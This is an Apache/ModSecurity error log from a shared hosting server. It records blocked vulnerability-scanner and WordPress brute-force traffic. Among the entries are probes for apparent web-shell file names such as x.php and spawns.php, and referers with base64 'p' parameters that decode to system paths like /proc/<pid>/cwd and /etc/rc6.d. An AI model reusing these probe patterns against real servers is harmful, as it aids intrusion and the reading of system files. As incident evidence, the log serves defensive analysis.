[Sat Jun 13 18:09:16.688180 2026] [security2:error] [pid 531797:tid 531911] [remote 17.246.19.6:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 6.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xLMTA7b1mZrmcA-8ZkwACUC8"] [Sat Jun 13 18:09:16.698782 2026] [access_compat:error] [pid 531797:tid 531906] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:09:16.699220 2026] [access_compat:error] [pid 531797:tid 531906] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:09:16.737942 2026] [security2:error] [pid 531155:tid 531276] [remote 74.7.227.22:45002] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 22.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.homs.co.ke"] [uri "/"] [unique_id "ai3xLCmiP80klyS0Nnrw8wABG3g"], referer: https://mail.homs.co.ke/?del=admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:16.754515 2026] [security2:error] [pid 531155:tid 531201] [remote 17.241.75.121:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 121.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xLCmiP80klyS0Nnrw9AABFy0"] [Sat Jun 13 18:09:16.789116 2026] [security2:error] [pid 531155:tid 531208] [remote 17.241.75.30:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 30.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xLCmiP80klyS0Nnrw9QABeTQ"] [Sat Jun 13 18:09:16.854392 2026] [security2:error] [pid 531797:tid 531869] [remote 17.22.253.41:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 41.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xLMTA7b1mZrmcA-8ZlgACWgU"] [Sat Jun 13 18:09:16.880606 2026] [access_compat:error] [pid 531797:tid 531970] [remote 57.141.14.82:45068] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:16.880901 2026] [access_compat:error] [pid 531797:tid 531970] [remote 57.141.14.82:45068] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:16.966996 2026] [access_compat:error] [pid 531155:tid 531202] [remote 57.141.14.19:31820] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:16.967261 2026] [access_compat:error] [pid 531155:tid 531202] [remote 57.141.14.19:31820] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:17.042769 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9kZXZpY2UvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:09:17.043183 2026] [access_compat:error] [pid 531155:tid 531164] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQ2L2V2ZW50NS9kZXZpY2UvZXZlbnQ1L3Bvd2Vy [Sat Jun 13 18:09:17.145350 2026] [access_compat:error] [pid 531797:tid 531867] [remote 57.141.14.86:20560] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:17.145832 2026] [access_compat:error] [pid 531797:tid 531867] [remote 57.141.14.86:20560] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:17.191364 2026] [access_compat:error] [pid 531797:tid 531905] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTc3MDYxL25ldA== [Sat Jun 13 18:09:17.191647 2026] [access_compat:error] [pid 531797:tid 531905] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTc3MDYxL25ldA== [Sat Jun 13 18:09:17.319845 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.40:60206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:17.320132 2026] [access_compat:error] [pid 531797:tid 531865] [remote 57.141.14.40:60206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:17.441759 2026] [access_compat:error] [pid 531797:tid 531908] [remote 57.141.14.42:60956] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:17.442215 2026] [access_compat:error] [pid 531797:tid 531908] [remote 57.141.14.42:60956] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:17.603929 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:17.604206 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ0L3N1YnN5c3RlbS9ldmVudDEvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:09:17.712282 2026] [access_compat:error] [pid 531797:tid 531919] [remote 57.141.14.74:21612] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:17.712580 2026] [access_compat:error] [pid 531797:tid 531919] [remote 57.141.14.74:21612] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:17.741175 2026] [access_compat:error] [pid 531797:tid 531962] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:17.741593 2026] [security2:error] [pid 531797:tid 532004] [client 20.151.217.54:16980] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/x.php"] [unique_id "ai3xLcTA7b1mZrmcA-8ZtAAAAhw"] [Sat Jun 13 18:09:17.741610 2026] [access_compat:error] [pid 531797:tid 531962] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvMzMxMDc3L2N3ZA== [Sat Jun 13 18:09:17.792304 2026] [security2:error] [pid 531155:tid 531245] [remote 17.241.219.63:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 63.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xLSmiP80klyS0NnrxCQABV1k"] [Sat Jun 13 18:09:17.863444 2026] [security2:error] [pid 531797:tid 531930] [remote 145.239.79.139:38280] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 139.79.239.145.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3xLcTA7b1mZrmcA-8ZuQACh0I"], referer: https://gkmasterson.com/wp-login.php [Sat Jun 13 18:09:17.925110 2026] [security2:error] [pid 531797:tid 532105] [client 20.151.217.54:17036] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.adbadvertising.com"] [uri "/invisi.php"] [unique_id "ai3xLcTA7b1mZrmcA-8ZuwAAAn4"] [Sat Jun 13 18:09:17.940902 2026] [security2:error] [pid 531797:tid 531933] [remote 17.246.19.18:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 18.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xLcTA7b1mZrmcA-8ZvAACe0U"] [Sat Jun 13 18:09:17.955160 2026] [security2:error] [pid 531797:tid 531888] [remote 17.22.237.253:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 253.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xLcTA7b1mZrmcA-8ZvQACGBg"] [Sat Jun 13 18:09:18.189793 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L2lk [Sat Jun 13 18:09:18.190199 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L2lk [Sat Jun 13 18:09:18.226218 2026] [access_compat:error] [pid 531797:tid 531909] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:09:18.226661 2026] [access_compat:error] [pid 531797:tid 531909] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNzczNjQ3L2N3ZA== [Sat Jun 13 18:09:18.334814 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?del=admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:18.335099 2026] [access_compat:error] [pid 531155:tid 531243] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?del=admin&p=L3Byb2MvNTMxODAzL2N3ZA== [Sat Jun 13 18:09:18.359229 2026] [access_compat:error] [pid 531797:tid 531972] [remote 57.141.14.108:41407] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:18.359681 2026] [access_compat:error] [pid 531797:tid 531972] [remote 57.141.14.108:41407] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:18.549334 2026] [access_compat:error] [pid 531155:tid 531159] [remote 57.141.14.109:39956] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:09:18.549634 2026] [access_compat:error] [pid 531155:tid 531159] [remote 57.141.14.109:39956] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:09:18.658080 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:09:18.658345 2026] [access_compat:error] [pid 531155:tid 531259] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ1L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:09:18.727980 2026] [access_compat:error] [pid 531797:tid 531990] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2V0Yy9yYzYuZA== [Sat Jun 13 18:09:18.728265 2026] [access_compat:error] [pid 531797:tid 531990] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2V0Yy9yYzYuZA== [Sat Jun 13 18:09:18.803945 2026] [security2:error] [pid 531797:tid 532127] [client 191.234.188.123:48076] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/green.php"] [unique_id "ai3xLsTA7b1mZrmcA-8Z0AAAApI"] [Sat Jun 13 18:09:18.808568 2026] [security2:error] [pid 531797:tid 531914] [remote 17.246.19.39:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 39.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xLsTA7b1mZrmcA-8ZzwACfzI"] [Sat Jun 13 18:09:18.820837 2026] [security2:error] [pid 531797:tid 531955] [remote 17.22.253.95:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 95.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xLsTA7b1mZrmcA-8ZzgACY1s"] [Sat Jun 13 18:09:18.821557 2026] [security2:error] [pid 531155:tid 531172] [remote 17.241.75.251:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 251.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xLimiP80klyS0NnrxLgABExA"] [Sat Jun 13 18:09:18.908824 2026] [security2:error] [pid 531155:tid 531228] [remote 17.246.19.44:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 44.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xLimiP80klyS0NnrxMQABZUg"] [Sat Jun 13 18:09:19.005694 2026] [security2:error] [pid 531797:tid 532073] [client 20.151.217.54:48168] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/xozx.php"] [unique_id "ai3xL8TA7b1mZrmcA-8Z1wAAAl8"] [Sat Jun 13 18:09:19.173405 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:09:19.173836 2026] [access_compat:error] [pid 531155:tid 531233] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:09:19.243597 2026] [security2:error] [pid 531797:tid 532006] [client 172.171.3.232:65083] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/class-cc.php"] [unique_id "ai3xL8TA7b1mZrmcA-8Z4gAAAh4"] [Sat Jun 13 18:09:19.255384 2026] [security2:error] [pid 531155:tid 531214] [remote 34.187.227.17:1024] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 17.227.187.34.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mngroup.com.au"] [uri "/wp-login.php"] [unique_id "ai3xLymiP80klyS0NnrxOAABUzo"] [Sat Jun 13 18:09:19.280029 2026] [access_compat:error] [pid 531797:tid 531937] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2V0Yy9yYzAuZA== [Sat Jun 13 18:09:19.280424 2026] [access_compat:error] [pid 531797:tid 531937] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2V0Yy9yYzAuZA== [Sat Jun 13 18:09:19.336743 2026] [security2:error] [pid 531797:tid 532008] [client 20.151.217.54:65223] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/spawns.php"] 